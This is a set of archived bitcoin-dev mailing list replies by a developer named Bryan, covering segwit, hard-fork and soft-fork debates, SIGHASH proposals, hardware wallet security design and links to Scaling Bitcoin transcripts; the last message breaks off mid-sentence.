URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170320/4b59a31e/attachment.sig>

2023-06-07 17:54:00

- reply

📅 Original date posted:2016-10-15
📝 Original message:Previously:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/011862.html
Here are some talks from Milan:
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/fungibility-overview/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/joinmarket/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/tumblebit/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/mimblewimble/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/onion-routing-in-lightning/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/flare-routing-in-lightning/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/unlinkable-outsourced-channel-monitoring/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/lightning/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/segwit-lessons-learned/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/schnorr-signatures/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/bip151-peer-encryption/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/coin-selection/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/covenants/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/on-the-security-and-performance-of-proof-of-work-blockchains/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/collective-signing/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/fast-difficulty-adjustment/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/jute-braiding/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/client-side-validation/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/breaking-the-chain/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/day-1-group-summaries/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/day-2-group-summaries/
These are not always exact transcripts because I am typing while I am
listening, thus there are mistakes including typos and listening
errors, so please keep this discrepancy in mind between what's said
and what's typed.
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:52:54

- reply

📅 Original date posted:2016-08-17
📝 Original message:On Tue, Aug 16, 2016 at 7:14 PM, Peter Todd via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> The other serious problem - and this is a problem with smartcards in
> general
> anyway - is that without Bitcoin-specific logic you're just signing
> blindly; we
> recently saw the problems with that with the Bitfinex/BitGo hack. And even
> then, without a screen most of the hardware wallets in are still just
> signing
> blindly, with at best hard-to-use limits on maximum funds moved
> per-transaction. Also note how even hardware wallets with a screen, like
> Trezor, aren't yet able to authenticate who you are paying.
>
"Welcome to my threat model."
In multisig scenarios, there must be a different "trust root" for each key.
For example, storing two private keys next to each other on the same web
server is broken because if one key is compromised it is infinitely trivial
to compromise the second key. Using multiple web servers is also broken if
the two servers are controlled by the same AWS keys or same "help me get my
servers back" support email request to whatever single sign-on service is
used. In some cases, it can be better to write software such that
transaction data is served at a particular location, and another
security-critical step is responsible for downloading that data from the
first machine, rather than the first computer directly pushing (with
authentication credentials in place for the attacker to compromise) the
data to the second computer.
I recommend using hardware security modules (HSMs). It's important to have
a public, reviewed bitcoin standard for hardware wallets, especially HSMs.
I expect this is something that the entire industry has a tremendous
interest in following and contributing to, which could even lead to
additional resources contributed (or at the very least, more detailed
requirements) towards libconsensus work.
Instead of signing any bitcoin transaction that the hardware wallet is
given, the hardware should be responsible for running bitcoin validation
rules and business logic, which I recommend for everyone, not only
businesses. Without running business logic and bitcoin validation rules,
the actual bitcoin history on the blockchain could be a very different
reality from what the hardware thinks is happening. Using a different
out-of-band communication channel, the hardware could query for information
from another database in another trust root, which would be useful for
business logic to validate against.
As for a screen, I consider that somewhat limited because you only get text
output (and I don't know if I can reasonably suggest QR codes here). With a
screen, you are limited to text output, which can compromise privacy of the
device's operations and info about the wallet owner. An alternative would
be to have a dedicated port that is responsibly only for sending out data
encrypted to the key of the wallet owner, to report information such as
whatever the hardware's transaction planner has decided, or to report about
the state of the device, state of the bitcoin validation rules, or any
accounting details, etc. Additionally, even a signed transaction should be
encrypted to the key of the device owner because a signed transaction can
be harmless as long as the owner still has the ability to control whether
the signed transaction is broadcasted to the network. It's "separation of
concerns" for transaction signing and decrypting a signed transaction
should be unrelated and uncoupled.
Also I am eager to see what the community proposes regarding signed and
authenticated payment requests.
((insert here general promotional statement regarding the value of reusable
checklists used during every signing ritual ceremony))
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160817/5492f37f/attachment.html>

2023-06-07 17:52:17

- reply

📅 Original date posted:2016-08-03
📝 Original message:Someone dropped this document in -wizards the other day:
http://5pdcbgndmprm4wud.onion/mimblewimble.txt
http://diyhpl.us/~bryan/papers2/bitcoin/mimblewimble.txt
Some commentary:
http://gnusha.org/bitcoin-wizards/2016-08-02.log
http://gnusha.org/bitcoin-wizards/2016-08-03.log
https://www.reddit.com/r/Bitcoin/comments/4vub3y/mimblewimble_noninteractive_coinjoin_and_better/
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160803/136b7b2b/attachment.html>

2023-06-07 17:52:09

- reply

📅 Original date posted:2016-08-02
📝 Original message:Some Bitcoin developers and miners went to visit with Dan Boneh at Stanford
earlier today, and I thought I would share what we talked about.
Transcript:
http://diyhpl.us/wiki/transcripts/2016-july-bitcoin-developers-miners-meeting/dan-boneh/
Topics discussed include elliptic curve crypto, ECDSA, Schnorr signatures,
signature aggregation, BLS signature schemes, pairing crypto, group
signatures, block-level signature aggregation, transaction-level signature
aggregation, post-quantum crypto, quantum mining ASICs, provable solvency
schemes, scrypt password hashing, and balloon hashing.
(I would include the text directly but it's nearly 60 kilobytes in size and
past the point where I am presently comfortable with gunking up other
mailboxes.)
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160802/31e6d043/attachment-0001.html>

2023-06-07 17:52:04

- reply

📅 Original date posted:2016-07-30
📝 Original message:On Sat, Jul 30, 2016 at 6:18 PM, Paul Sztorc via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
>
> I've also heard that segwit will help, but don't understand why.
>
There are some helpful discussions that happened over here:
https://botbot.me/freenode/bitcoin-core-dev/2015-12-28/?msg=56907496&page=2
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160730/c3679f1e/attachment.html>

2023-06-07 17:50:58

- reply

📅 Original date posted:2016-05-27
📝 Original message:It has occurred to me that some folks may not have seen the link floating
around the other day on IRC.
Transcript:
https://bitcoincore.org/logs/2016-05-zurich-meeting-notes.html
https://bitcoincore.org/logs/2016-05-zurich-meeting-notes.txt
Meeting notes summary:
https://bitcoincore.org/en/meetings/2016/05/20/
Topics discussed and documented include mostly obscure details about
segwit, segwit code review, error correcting codes for future address
types, encryption for the p2p network protocol, compact block relay,
Schnorr signatures and signature aggregation, networking library, encrypted
transactions, UTXO commitments, MAST stuff, and many other topics. I think
this is highly useful reading material.
Any errors in transcription are very likely my own as it is difficult to
capture everything with high accuracy in real-time. Another thing to keep
in mind is that there are many different parallel conversations and I only
do linear serialization at best... and finally, I also want to mention that
this is the result of collaboration with many colleagues and this should
not be considered merely the work of just myself.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160527/43e8aecb/attachment.html>

2023-06-07 17:50:20

- reply

📅 Original date posted:2016-05-09
📝 Original message:On Mon, May 9, 2016 at 8:57 AM, Tom via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> The moderators failed to catch his aggressive tone while moderating my post
> (see archives) for being too aggressive.
>
IIRC you were previously informed by moderators (on the same reddit thread
to which you refer) that it would seem you had canceled your email from the
moderation queue, contrary to your retelling above. This is now reaching
far into off-topic and further posts on this subject should be sent to
bitcoin-discuss at lists.linuxfoundation.org or
bitcoin-dev-owners at lists.linuxfoundation.org instead of the bitcoin-dev
mailing list.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160509/041d1aa5/attachment-0001.html>

2023-06-07 17:49:34

- reply

📅 Original date posted:2016-03-02
📝 Original message:On Wed, Mar 2, 2016 at 8:56 AM, Luke Dashjr wrote:
> We are coming up on the subsidy halving this July, and there have been some
>
Luke,
One reason "hard-fork to fix difficulty drop algorithm" could be
controversial is that the proposal involves a hard-fork (perhaps
necessarily so, at my first and second glance). There are a number of
concerns with hard-forks including security, deployment, participation,
readiness measurement, backwards incompatibility, etc. In fact, some
Bitcoin Core developers believe that hard-forks are not a good idea and
should not be used.
# Hard-forks
An interesting (unspoken?) idea I’ve heard from a few people has been “we
should try to avoid all hard-forks because they are backwards
incompatible”, another thought has been "there should only be one more
hard-fork if any" and/or "there should only be one hard-fork every 30
years". I also recognize feedback from others who have mentioned "probably
unrealistic to expect that the consensus layer can be solidified this early
in Bitcoin's history". At the same time there are concerns about “slippery
slopes”....
Also, if you are going to participate in a hard-fork then I think you
should make up some proposals for ensure minimal monetary loss on the old
(non-hard-forked) chain, especially since your proposed timeline is so
short seems reasonable to expect even more safety-related due diligence to
minimize money loss (such as using a new address prefix on the hard-forked
upgrade). Anyway, it should be clear that hard-forks are an unsettled issue
and are controversial in ways that I believe you are already aware about.
# Have miners gradually reduce their hashrate instead of using a step
function cliff
adam3us recently proposed that miners who are thinking of turning off
equipment should consider gradually ramping down their hashrate, as a show
of goodwill (and substantial loss to themselves, similar to how they would
incur losses from no longer mining after the halving). This is not
something the consensus algorithm can enforce at the moment, and this
suggestion does not help under adversarial conditions. Since this
suggestion does not require a hard-fork, perhaps some effort should be made
to query miners and figure out if they need assistance with implementing
this (if they happen to be interested).
# Contingency planning
Having said all of the negative things above about hard-forks, I will add
that I do actually like the idea of having backup plans available and
tested and gitian-built many weeks ahead of expected network event dates.
Unfortunately this might encourage partial consensus layer hard-forks in
times of extreme uncertainty such as "emergencies".... creating an even
further emergency.
# "Indefinite backlog growth"
You write "the backlog would grow indefinitely until the adjustment
occurs". This seems to be expected behavior regardless of difficulty
adjustment (in fact, a backlog could continue to grow even once difficulty
adjusts downward), and the consensus protocol does not commit to
information regarding that backlog anyway...
# Difficulty adjustment taking time is expected
This is an expected part of the protocol, it's been mentioned since
forever, it's well known and accounted for. Instead, we should be providing
advice to users about which alternative payment systems they should be
using if they expect instantaneous transaction confirmations. This has been
a long-standing issue, and rolling out a hard-fork is not going to fix
mistaken assumptions from users. They will still think that confirmations
were meant to be instantaneous regardless of how many hard-forks you choose
to deploy.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160302/aefad2cc/attachment.html>

2023-06-07 17:49:17

- reply

📅 Original date posted:2016-02-25
📝 Original message:On Thu, Feb 25, 2016 at 7:07 PM, Joseph Poon wrote:
> This would be achieved using a SIGHASH flag, termed SIGHASH_NOINPUT. It
> does not include as part of the signature, the outpoint being spent
> (txid and index), nor the amount. It however, would include the spent
> outpoint's script as part of the signature. Note that this is just a
Well if you are bothering to draft up a BIP about that SIGHASH flag,
then perhaps also consider some other SIGHASH flag types as well while
you are at it?
Various proposed sighash types:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-August/010759.html
"Build your own nHashType" proposal draft:
https://github.com/scmorse/bitcoin-misc/blob/master/sighash_proposal.md
jl2012's reply:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-August/010779.html
petertodd's reply about OP_CODESEPARATOR linked back to this thread
regarding "Build your own nHashType":
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/007771.html
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/007802.html
http://gnusha.org/bitcoin-wizards/2014-12-09.log
((That particular thread had other replies which can be viewed here:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/thread.html
))
Also, there was a draft implementation of SIGHASH_NOINPUT:
https://github.com/Roasbeef/bitcoin/commit/4b3c3f1baf7985208ceb6887261ee150ab6e3328
https://github.com/Roasbeef/btcd/commit/67830e506fa135d5239177340918cea39909e6a4
FWIW there was some concern about replay using SIGHAHS_NOINPUT or something:
http://gnusha.org/bitcoin-wizards/2015-04-07.log
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:48:51

- reply

📅 Original date posted:2016-02-06
📝 Original message:On Sat, Feb 6, 2016 at 9:37 AM, Gavin Andresen wrote:
> Responding to "28 days is not long enough" :
>
Gavin,
Thank you for the emails. Bitcoin Core has been working with the Bitcoin
ecosystem on developing and now testing a new capacity increasing feature
called segregated witness (segwit). Segregated witness is a voluntary,
mutually backwards-compatible capacity upgrade for the Bitcoin system.
Many, many hundreds of millions of dollars of Bitcoin value have flowed
through soft-forked upgrades to the Bitcoin system, representing upgrades
from across the entire ecosystem and the entire Bitcoin network, over
multiple years including BIP 12, BIP 16, BIP 17, BIP 30, BIP 34, BIP 42,
BIP 62, BIP 65, BIP 66, etc. So that’s the context from which I have been
approaching your hard-fork ideas for the past year.
Benefits of segregated witness
https://bitcoincore.org/en/2016/01/26/segwit-benefits/
Ecosystem buy-in and support for segregated witness continues to grow:
https://bitcoincore.org/en/segwit_adoption/
There is also a segwit testnet which everyone is encouraged to investigate
and develop against-- companies love them some testing, after all:
https://bitcoincore.org/en/2016/01/21/launch_segwit_testnet/
A plan for Bitcoin Core capacity increases was put forward and can be found
here:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/011865.html
https://bitcoincore.org/en/2015/12/23/capacity-increases-faq/
With respect, the question should not be "is 28 days enough time for anyone
to roll out new binaries", it's instead a question of "how long does it
take someone to agree to upgrade to these new incompatible rules".
If Bitcoin users don't want to upgrade to incompatible rules right now, why
would they agree when 10% of the hashpower is setting some flag in a block?
Why would they change their minds at 20%? 90%? I am not saying here that
hard-forks should never be attempted, although we need as an ecosystem to
develop much more rigor and a more data-driven approach, and while that
might be hard to define exactly, as was once said by regulators, “I know it
when I see it”. Companies in the financial sector give a year or more
before deprecating old APIs even after the new one has been up and running
concurrently and well proven, and would not shut off their old one in order
to get adoption of the new one.
Are we OK with some percent of the Bitcoin ecosystem not agreeing with the
existing rules? What would that mean? Are you willing to maintain two
separate networks, and if not, would you please document this in your BIP?
Deprecation timeline and emergency procedures?? Should we include
rationalizations for not using a new address prefix? In the event of a
partial hard-fork where two chains exist, wouldn't it make more sense to
have the new chain use a new address prefix? Using a new address prefix
could conceivably serve to minimize the impact of what almost looks like an
intentionally constructed y2k-bug type of event for the ecosystem.
I suspect that soft-fork upgrades have in the past tolerated _less_ rigor
around planning because voluntary soft-fork upgrading does not
intentionally break backwards-compatibility. Over time I expect that even
soft-fork upgrades will have much more planning, but again, it seems that
incompatible changes require much more rigor. If the sky is truly falling
according to your pronouncements, then there are millions if not billions
of dollars of value on the line which are being risked from lack of
engineering rigor without a well documented procedure, and suggesting that
we agree on that "next time" is not going to create the results that meet
your or anyone else’s desire. Much more, we need to signal to the broader
ecosystem and world that we are serious, mature and ready for business.
Regarding your request for definitions about soft-hard forks and
generalized soft-forks, you can find some definitions over here:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/012173.html
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/012172.html
About hard-forks you may be interested in reading and internalizing,
https://github.com/bitcoin/bips/blob/master/bip-0099.mediawiki
This was an interesting exploration of soft-forks and hard-forks:
https://petertodd.org/2016/soft-forks-are-safer-than-hard-forks
On the security of soft-forks
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/012014.html
Are soft-forks misnamed?
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-September/011266.html
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160206/3017ee42/attachment-0001.html>

2023-06-07 17:48:30

- reply

📅 Original date posted:2016-02-04
📝 Original message:On Thu, Feb 4, 2016 at 11:56 AM, jl2012 via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> past the triggering block. A block-chain re-org of two thousand or
>> more blocks on the main Bitcoin chain is unthinkable-- the economic
>> chaos would be massive, and the reaction to such a drastic (and
>> extremely unlikely) event would certainly be a hastily imposed
>> checkpoint to get everybody back onto the chain that everybody was
>> using for economic transactions.
>>
>
> No, the "triggering block" you mentioned is NOT where the hardfork starts.
> Using BIP101 as an example, the hardfork starts when the first >1MB is
> mined. For people who failed to upgrade, the "grace period" is always zero,
> which is the moment they realize a hardfork.
>
Are there any plans written down anywhere about the "hastily imposed
checkpoint" scenario? As far as I know, we would have to check-point on
both blockchains because of the way that hard-forks work (creating two
separate chains and/or networks). Nothing about this should be an
"emergency", we have all the time in the world to prepare a safe and
responsible way to upgrade the network without unilaterally
declaring obsolescence.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160204/21af804f/attachment.html>

2023-06-07 17:48:02

- reply

📅 Original date posted:2016-01-19
📝 Original message:On Tue, Jan 19, 2016 at 10:27 AM, Mark Friedenbach via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Wouldn't this be entirely on topic for #bitcoin-dev? It's probably better
> not to fragment the communication channels and associated infrastructure
> (logs, bots, etc.)
Yeah, I agree that this is on topic for #bitcoin-dev. I think that if
segwit discussion got to the point of clouding out all other development
discussions, then perhaps it would be time for a new channel. I would
definitely like to see segwit discussion not fragmented into a separate
venue.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160119/79cd5c1d/attachment.html>

2023-06-07 17:47:53

- reply

📅 Original date posted:2016-01-17
📝 Original message:I saw these two repositories through the -wizards IRC channel earlier
today. I have not reviewed any of the source code for quality, security or
functionality, so I don't have word to offer regarding status of these.
https://github.com/LightningNetwork/lnd
https://github.com/LightningNetwork/lightning-onion
Also other git repositories with related work:
https://github.com/ElementsProject/lightning
https://github.com/matsjj/thundernetwork
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160117/62dee7f2/attachment.html>

2023-06-07 17:47:31

- reply

📅 Original date posted:2016-01-02
📝 Original message:On Sat, Jan 2, 2016 at 10:37 AM, Jorge Timón
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> > Updates from IRC discussion:
>
> Is there a link to the IRC discussion?
prior-block possession proofs, fraud proofs, non-fraud correctness
proofs, commitments and segwit:
https://botbot.me/freenode/bitcoin-core-dev/2015-12-28/?msg=56907496&page=2
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:47:30

- reply

📅 Original date posted:2015-12-30
📝 Original message:On Wed, Dec 30, 2015 at 5:05 PM, Adam Back via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> There is also another type of fork a firm hard fork that can do the
> same but for format changes that are not possible with a soft-fork.
>
I was drafting an email for a new thread with some links about this topic,
instead I'll just send this as a reply now that we are writing down fork
types...
auxiliary blocks and evil soft-forks or forced soft-forks:
https://bitcointalk.org/index.php?topic=283746.0
https://bitcointalk.org/index.php?topic=874313.0
soft-fork block size increase using extension blocks:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-May/008356.html
generalized soft-forks:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/012073.html
bip102 forced soft-fork:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/012153.html
extension blocks were also discussed in this interview:
http://diyhpl.us/wiki/transcripts/bitcoin-sidechains-unchained-epicenter-adam3us-gmaxwell/
.... also there was something about a "soft-hard fork".
some discussion from today re: origin of the term evil fork, evil
soft-fork, forced soft-fork:
https://www.reddit.com/r/Bitcoin/comments/3yrsxt/bitcoindev_an_implementation_of_bip102_as_a/cyg2g7q
some much older discussion about extension blocks and sidechains:
http://gnusha.org/bitcoin-wizards/2015-01-01.log
some discussion about "generalized soft-forks" and extension blocks and
evil soft-forks:
http://gnusha.org/bitcoin-wizards/2015-12-20.log
some discussion about evil forks and evil soft-forks and extension blocks:
http://gnusha.org/bitcoin-wizards/2015-12-30.log
segwit soft-fork makes use of a similar idea:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/011865.html
https://bitcoin.org/en/bitcoin-core/capacity-increases-faq
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/segregated-witness-and-its-impact-on-scalability/
Note: I am taking the term "forced soft-fork" from petertodd; it's pretty
much the same thing as "evil fork" in every way but intent.
This is an x-post from
https://bitcointalk.org/index.php?topic=1296628.msg13400092#msg13400092
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20151230/7041b5c4/attachment.html>

2023-06-07 17:47:13

- reply

📅 Original date posted:2015-12-20
📝 Original message:On Sun, Dec 20, 2015 at 4:56 AM, joe2015--- via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> An Arbitrary Block-size Increase Via a Generalized Softfork
>
This seems conceptually similar to "extension blocks":
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-May/008356.html
https://bitcointalk.org/index.php?topic=283746.0
http://gnusha.org/bitcoin-wizards/2015-12-20.log
"Extended blocks" are also mentioned over here too:
https://bitcointalk.org/index.php?topic=1296628.msg13307275#msg13307275
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20151220/124004d6/attachment.html>

2023-06-07 17:46:46

- reply

📅 Original date posted:2015-12-19
📝 Original message:On Fri, Dec 18, 2015 at 6:18 AM, Peter Todd via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Anyway, we should write this up as a BIP - there's been a tremendous
> amount of misinformation, even flat out lies, floating around on this
> subject.
>
Er, this sounds like something that should go into bip99. Right?
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20151219/a2ae7187/attachment.html>

2023-06-07 17:46:28

- reply

📅 Original date posted:2015-12-26
📝 Original message:On Sat, Dec 26, 2015 at 5:15 PM, Justus Ranvier via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> On 12/26/2015 05:01 PM, Pieter Wuille via bitcoin-dev wrote:
> > I think the shortest reasonable timeframe for an uncontroversial
> > hardfork is somewhere in the range between 6 and 12 months.
>
> This argument would hold more weight if it didn't looks like a stalling
> tactic in context.
>
I think you'll find that there hasn't been stalling regarding an
uncontroversial hard-fork deployment. You might be confusing an
uncontroversial hard-fork decision instead with how developers have brought
up many issues about various (hard-forking) block size proposals.... I
suspect this is what you're intending to mention instead, given your
mention of "capacity emergencies" and also the subject line.
> 6 months ago, there was a concerted effort to being the process then,
> for exactly this reason.
>
The uncontroversial hard-fork proposals from 6 months ago were mostly along
the lines of jtimon's proposals, which were not about capacity. (Although,
I should say "almost entirely uncontroversial"-- obviously has been some
minor (and in my opinion, entirely solvable) disagreement regarding
prioritization of deploying a jtimon's uncontroversial hard-fork idea I
guess, seeing as how it has not yet happened.)
> After 6 months of denial, stonewalling, and generally unproductive
> fighting, the need for proactivity is being acknowledged with no
> reference to the delay.
>
There wasn't 6 months of "stonewalling" or "denial" about an
uncontroversial hard-fork proposal. There has been extensive discussion
regarding the controversial (flawed?) properties of other (block size)
proposals. But that's something else. Much of this has been rehashed ad
nauseum on this mailing list already... thankfully I think your future
emails could be improved and made more useful if you were to read the
mailing list archives, try to employ more careful reasoning, etc. Thanks.
> If the network ever ends up making a hasty forced upgrade to solve a
> capacity emergency the responsibility for that difficulty will not fall
> on those who did their best to prevent emergency upgrades by planning
> ahead.
>
("Capacity emergency" is too ambiguous in this context because of the
competing concerns and tradeoffs regarding transaction rate capacity
exhaustion vs. p2p low-bandwidth node bandwidth exhaustion.)
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20151226/181a6658/attachment.html>

2023-06-07 17:46:07

- reply

📅 Original date posted:2015-12-10
📝 Original message:On Thu, Dec 10, 2015 at 12:47 AM, jl2012 wrote:
> 3. SIGHASH_WITHINPUTVALUE [1]: there are many SIGHASH proposals but this one
> has the highest priority as it makes offline signing much easier.
nhashtype proposal:
https://github.com/scmorse/bitcoin-misc/blob/master/sighash_proposal.md
OP_CODESEPARATOR:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/007802.html
summary email about sighash type proposals (which IIRC you saw, so
leaving this link here is mainly for the benefit of others):
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-August/010759.html
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:45:59

- reply

📅 Original date posted:2015-12-10
📝 Original message:On Wed, Dec 9, 2015 at 9:58 PM, Akiva Lichtner wrote:
> Correct me if I am wrong, but the dream of a virtual currency where
> everybody is equal and runs the client on their mobile device went out the
> window long ago. I think that went out with the special mining hardware. If
Mining equipment isn't for transaction verification. The mining
equipment is used to work on Proof-of-Work. Thanks.
> my organization had to accept bitcoin payments I would assume that we'll
> need a small server farm for transaction verification, and that we would see
Unfortunately Bitcoin does not work like those centralized systems; it
should not be surprising that a system focused so much on
decentralized and independent verification would have developers
working on so many non-bandwidth scaling solutions. These other
proposals seek to preserve existing properties of Bitcoin (such as
cheap verification, low-bandwidth) while also increasing the amount of
activity that can enjoy the decentralized fruits of Proof-of-Work
labor. But not helpful to assume this can only look like Visa or any
database on a cluster etc...
> would be entirely okay for a guy on a smartphone to delegate verification to
> a trusted party, as long as the trust chain stops there and there is plenty
> of choice.
I don't suppose I could tempt you with probabilistically checkable
proofs, could I? These verify in milliseconds, grow sublinear in size
of the total data, but have no near-term proposal available yet.
> I am guessing the trustless virtual currency police would get pretty upset
> about such a pragmatic approach, but it's not really a choice, the failure
> to scale has already occurred. All things considered I think that Bitcoin
Perhaps instead of failure-to-scale you mean "failure to apply
traditional scaling has already failed", which shouldn't be so
surprising given the different security model that Bitcoin operates
on.
> most people trust at least one other person, so it's not that weird.
see the following recent text,
"""
Bitcoin is P2P electronic cash that is valuable over legacy systems
because of the monetary autonomy it brings to its users through
decentralization. Bitcoin seeks to address the root problem with
conventional currency: all the trust that's required to make it work--
-- Not that justified trust is a bad thing, but trust makes systems
brittle, opaque, and costly to operate. Trust failures result in systemic
collapses, trust curation creates inequality and monopoly lock-in, and
naturally arising trust choke-points can be abused to deny access to
due process. Through the use of cryptographic proof and decentralized
networks Bitcoin minimizes and replaces these trust costs.
With the available technology, there are fundamental trade-offs between
scale and decentralization. If the system is too costly people will be
forced to trust third parties rather than independently enforcing the
system's rules. If the Bitcoin blockchain’s resource usage, relative
to the available technology, is too great, Bitcoin loses its competitive
advantages compared to legacy systems because validation will be too
costly (pricing out many users), forcing trust back into the system.
If capacity is too low and our methods of transacting too inefficient,
access to the chain for dispute resolution will be too costly, again
pushing trust back into the system.
"""
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:45:54

- reply

📅 Original date posted:2015-12-08
📝 Original message:On Tue, Dec 8, 2015 at 10:27 AM, Akiva Lichtner via bitcoin-dev
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> and miners would have to round-robin through partitions
At first glance this proposal seems most similar to the sharding proposals:
http://diyhpl.us/wiki/transcripts/scalingbitcoin/sharding-the-blockchain/
https://github.com/vbuterin/scalability_paper/blob/master/scalability.pdf
https://www.reddit.com/r/Bitcoin/comments/3u1m36/why_arent_we_as_a_community_talking_about/cxbamhn
http://eprint.iacr.org/2015/1168.pdf (committee approach)
> but clients would have to send more than one message in order to spend money
Offloading work to the client for spends has in the past been a
well-received concept, such as the linearized coin history idea.
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:45:34

- reply

📅 Original date posted:2015-12-07
📝 Original message:On Mon, Dec 7, 2015 at 4:02 PM, Gregory Maxwell wrote:
> The Scaling Bitcoin Workshop in HK is just wrapping up. Many fascinating
> proposals were presented. I think this would be a good time to share my
> view of the near term arc for capacity increases in the Bitcoin system. I
> believe we’re in a fantastic place right now and that the community
> is ready to deliver on a clear forward path with a shared vision that
> addresses the needs of the system while upholding its values.
ACK.
One of the interesting take-aways from the workshops for me has been
that there is a large discrepancy between what developers are doing
and what's more widely known. When I was doing initial research and
work for my keynote at the Montreal conference (
http://diyhpl.us/~bryan/irc/bitcoin/scalingbitcoin-review.pdf -- an
attempt at being exhaustive, prior to seeing the workshop proposals ),
what I was most surprised by was the discrepancy between what we think
is being talked about versus what has been emphasized or socially
